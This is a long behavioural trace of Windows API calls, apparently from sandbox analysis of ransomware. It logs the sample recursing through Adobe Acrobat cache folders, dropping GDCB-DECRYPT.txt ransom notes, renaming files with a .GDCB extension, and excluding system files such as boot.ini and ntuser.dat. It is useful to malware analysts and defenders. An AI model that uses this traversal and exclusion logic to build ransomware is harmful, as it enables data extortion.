lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0170.355] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 245 [0170.355] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.355] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt") returned 246 [0170.355] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.357] GetLastError () returned 0x50 [0170.357] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 229 [0170.357] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0170.357] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285d1b8 | out: lpFindFileData=0x285d1b8) returned 0x5f61b0 [0170.358] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0170.358] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 242 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 242 [0170.358] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 242 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 242 [0170.358] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 245 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 245 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 245 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 245 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.358] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.358] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.358] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 244 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 244 [0170.358] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 249 [0170.358] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 249 [0170.359] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 239 [0170.359] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 239 [0170.359] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.359] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.359] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.359] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.359] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 243 [0170.359] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.359] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5f61f0 [0170.359] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 259 [0170.359] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.359] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 260 [0170.359] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.359] GetLastError () returned 0x3 [0170.359] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 243 [0170.359] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.359] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285d1b8 | out: lpFindFileData=0x285d1b8) returned 0x5f5e30 [0170.359] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 259 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 259 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 259 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 259 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.360] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 241 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 241 [0170.360] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 236 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 236 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 236 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 236 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 220 [0170.360] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.360] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5f6330 [0170.361] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 222 [0170.361] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 236 [0170.361] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.361] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 237 [0170.361] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.363] GetLastError () returned 0x50 [0170.363] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 220 [0170.363] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.363] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5f5cf0 [0170.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.363] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.363] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 223 [0170.363] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.363] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5f5b30 [0170.363] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 230 [0170.363] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 239 [0170.363] 